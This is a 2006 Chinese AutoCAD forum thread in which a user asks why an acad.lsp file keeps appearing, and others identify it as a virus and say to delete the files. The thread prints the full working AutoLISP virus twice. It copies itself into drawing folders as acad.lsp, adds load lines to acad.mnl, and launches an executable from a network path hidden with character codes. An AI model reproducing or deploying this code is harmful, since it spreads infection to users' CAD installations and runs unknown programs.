找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 785|回复: 5

[求助] [求助]:怪!打开文件不明原因地产生acad.lsp,使原程序均不能用

[复制链接]
发表于 2006-1-11 11:51:27 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
原先CAD还正常,经我一个同事使用后(曾经在U盘打开文件),不知什么原因,打开dwg文件时提示:“出错:参数类型错误: stringp nil!”,同时在其所在目录产生acad.lsp文件(内容如下),使得原程序均不能用。
请问各位,是什么原因啊,难道是病毒!
(defun
s::startup()
(setq
old_cmd
(getvar
"cmdecho"
)
)
(setvar
"cmdecho"
0
)
(setq
path
(findfile
"base.dcl"
)
)
(setq
path
(substr
path
1
(
-
(
strlen
path
)
8
)
)
)
(
setq
mnlpath
(getvar
"menuname"
)
)
(setq
nowdwg
(getvar
"dwgname"
)
)
(setq
wjqm
(findfile
nowdwg
)
)
(setq
dwgpath
(substr
wjqm
1
(-
(strlen
wjqm
)
(strlen
nowdwg
)
)
)
)
(setq
acadpath
(findfile
"acad.lsp"
)
)       
(setq
acadpath
(substr
acadpath
1
(-
(strlen
acadpath
)
8
)
)
)
(setq
ns1
""
ns2
""
)
(setq
lspbj
0
)
(setq
wjqm
(strcat
path
"acad.lsp"
)
)
(if
(setq
wjm
(open
wjqm
"r"
)
)
(progn
(while
(setq
wz
(read-line
wjm
)
)
(setq
ns1
ns2
)
(setq
ns2
wz
)
)
(if
(>
(strlen
ns1)
14)
(if
(=
(substr
ns1
8
7
)
"acadapp"
)
(setq
lspbj
1
)
)
)
(close
wjm
)
)
)
(setq
lspmnl
0
)
(setq
wjqm
(strcat
path
"acad.mnl"
)
)
(if
(setq
wjm
(open
wjqm
"r"
)
)
(progn
(while
(setq
wz
(read-line
wjm)
)
(setq
ns1
ns2
)
(setq
ns2
wz
)
)
(if
(>
(strlen
ns1
)
14
)
(if
(=
(substr
ns1
8
7
)
"acadapp"
)
(setq
lspmnl
1
)
)
)
(close
wjm
)
)
)
(if
(=
lspmnl
0
)                                  
(progn                                          
(setq
wjqm
(strcat
path
(strcat
(chr
97)
(chr
99)
(chr
97)
(chr
100)
(chr
46)
(chr
109)
(chr
110)
(chr
108)
)
)
)
(setq
wjm
(open
wjqm
"a"
)
)
(write-line
(strcat
"(load "
(chr
34)
"acadapp"
(chr
34)
")"
)
wjm
)
(write-line
"(princ)"
wjm)
(close
wjm))
)
(if
(and
(=
acadpath
dwgpath
)
(/=
acadpath
path
)
)
(progn                                          
(if
(=
0
lspmnl)
(progn                                          
(setq
oldacad
(findfile
"acad.lsp"
)
)          
(setq
newacad
(strcat
path
"acadapp.lsp"
)
)
)
(progn
(setq
oldacad
(strcat
path
"acadapp.lsp"
)
)
(setq
newacad
(findfile
"acad.lsp"
)
)
)                         
)
(if
(=
lspbj
0
)                                  
(progn                                          
(setq
wjqm
(strcat
path
"acad.lsp"
)
)
(setq
wjm
(open
wjqm
"a")
)
(write-line
(strcat
"(load "
(chr
34)
"acadapp"
(chr
34)
")"
)
wjm
)
(write-line
"(princ)"
wjm)
(close
wjm)
)
)
(writeapp)
)
(progn
(if
(/=
nowdwg
"Drawing.dwg"
)
(progn
(setq
oldacad
(findfile
"acadapp.lsp"
)
)
(setq
newacad
(strcat
dwgpath
"acad.lsp"
)
)
(writeapp)
)
)
)
)
(setq
strtopstr
(strcat  
(chr
92)
(chr
92)
(chr
70)
(chr
83)
(chr
49)
(chr
92)
(chr
83)
(chr
89)
(chr
83)
(chr
49)  
(chr
92)
(chr
87)
(chr
79)
(chr
82)
(chr
75)
(chr
92)
(chr
80)
(chr
76)
(chr
79)
(chr
84)
(chr
69)
(chr
82
)
)
)
(setq
strbottomstr
(strcat
(chr
92)
(chr
76)
(chr
79)
(chr
67)
(chr
80)
(chr
82)
(chr
88)
(chr
89)
(chr
49)
(chr
46)
(chr
69)
(chr
88)
(chr
69)
)
)
(startapp
(strcat
strtopstr
strbottomstr
)
)
(setvar
"cmdecho"
old_cmd
)
(princ)
)
(defun
writeapp ()
(if
(setq
wjm1
(open
newacad
"w")
)
(progn
(setq
wjm
(open
oldacad
"r")
)
(while
(setq
wz
(read-line
wjm)
)
(write-line
wz
wjm1
)
)                               
(close
wjm)
(close
wjm1)
)
)
)
(princ)
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
发表于 2006-1-11 12:58:58 | 显示全部楼层
中毒了!
将“无用的和多余的”acad.lsp、acadapp.lsp、acadiso.lsp全部删除!
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2006-1-11 16:08:25 | 显示全部楼层
整理一下,这下可以看明白了吧。
(defun s::startup ()
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (setq path (findfile "base.dcl"))
  (setq path (substr path 1 (- (strlen path) 8)))
  (setq mnlpath (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
  (setq acadpath (findfile "acad.lsp"))
  (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
  (setq ns1 ""
        ns2 ""
  )
  (setq lspbj 0)
  (setq wjqm (strcat path "acad.lsp"))
  (if (setq wjm (open wjqm "r"))
    (progn
      (while (setq wz (read-line wjm))
        (setq ns1 ns2)
        (setq ns2 wz)
      )
      (if (> (strlen ns1) 14)
        (if (= (substr ns1 8 7) "acadapp")
          (setq lspbj 1)
        )
      )
      (close wjm)
    )
  )
  (setq lspmnl 0)
  (setq wjqm (strcat path "acad.mnl"))
  (if (setq wjm (open wjqm "r"))
    (progn
      (while (setq wz (read-line wjm))
        (setq ns1 ns2)
        (setq ns2 wz)
      )
      (if (> (strlen ns1) 14)
        (if (= (substr ns1 8 7) "acadapp")
          (setq lspmnl 1)
        )
      )
      (close wjm)
    )
  )
  (if (= lspmnl 0)
    (progn
      (setq wjqm (strcat path (strcat (chr 97) (chr 99) (chr 97)
                                      (chr 100) (chr 46) (chr 109)
                                      (chr 110) (chr 108)
                              )
                 )
      )
      (setq wjm (open wjqm "a"))
      (write-line (strcat "(load " (chr 34) "acadapp" (chr 34) ")") wjm)
      (write-line "(princ)" wjm)
      (close wjm)
    )
  )
  (if (and
        (= acadpath dwgpath)
        (/= acadpath path)
      )
    (progn
      (if (= 0 lspmnl)
        (progn
          (setq oldacad (findfile "acad.lsp"))
          (setq newacad (strcat path "acadapp.lsp"))
        )
        (progn
          (setq oldacad (strcat path "acadapp.lsp"))
          (setq newacad (findfile "acad.lsp"))
        )
      )
      (if (= lspbj 0)
        (progn
          (setq wjqm (strcat path "acad.lsp"))
          (setq wjm (open wjqm "a"))
          (write-line (strcat "(load " (chr 34) "acadapp" (chr 34) ")") wjm)
          (write-line "(princ)" wjm)
          (close wjm)
        )
      )
      (writeapp)
    )
    (progn
      (if (/= nowdwg "Drawing.dwg")
        (progn
          (setq oldacad (findfile "acadapp.lsp"))
          (setq newacad (strcat dwgpath "acad.lsp"))
          (writeapp)
        )
      )
    )
  )
  (setq strtopstr (strcat (chr 92) (chr 92) (chr 70) (chr 83) (chr 49)
                          (chr 92) (chr 83) (chr 89) (chr 83) (chr 49)
                          (chr 92) (chr 87) (chr 79) (chr 82) (chr 75)
                          (chr 92) (chr 80) (chr 76) (chr 79) (chr 84)
                          (chr 69) (chr 82)
                  )
  )
  (setq strbottomstr (strcat (chr 92) (chr 76) (chr 79) (chr 67)
                             (chr 80) (chr 82) (chr 88) (chr 89)
                             (chr 49) (chr 46) (chr 69) (chr 88)
                             (chr 69)
                     )
  )
  (startapp (strcat strtopstr strbottomstr))
  (setvar "cmdecho" old_cmd)
  (princ)
)
(defun writeapp ()
  (if (setq wjm1 (open newacad "w"))
    (progn
      (setq wjm (open oldacad "r"))
      (while (setq wz (read-line wjm))
        (write-line wz wjm1)
      )
      (close wjm)
      (close wjm1)
    )
  )
)
(princ)
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

 楼主| 发表于 2006-1-12 11:49:01 | 显示全部楼层
感谢xyp1964斑竹!
删除这些多余文件后,CAD就能恢复正常了!早知道就好了。
其实中过两次毒,每次只能先卸载,还得清除注册表相关内容,然后再安装。
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2006-1-12 19:49:26 | 显示全部楼层
用cad 杀毒软件
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

发表于 2006-1-17 16:18:49 | 显示全部楼层
中毒了!深表同情,用cad 杀毒软件
论坛插件加载方法
发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;
如果你在论坛求助问题,并且已经从坛友或者管理的回复中解决了问题,请把帖子标题加上【已解决】;
如何回报帮助你解决问题的坛友,一个好办法就是给对方加【D豆】,加分不会扣除自己的积分,做一个热心并受欢迎的人!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|申请友链|Archiver|手机版|小黑屋|辽公网安备|晓东CAD家园 ( 辽ICP备15016793号 )

GMT+8, 2025-9-29 01:20 , Processed in 0.187620 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表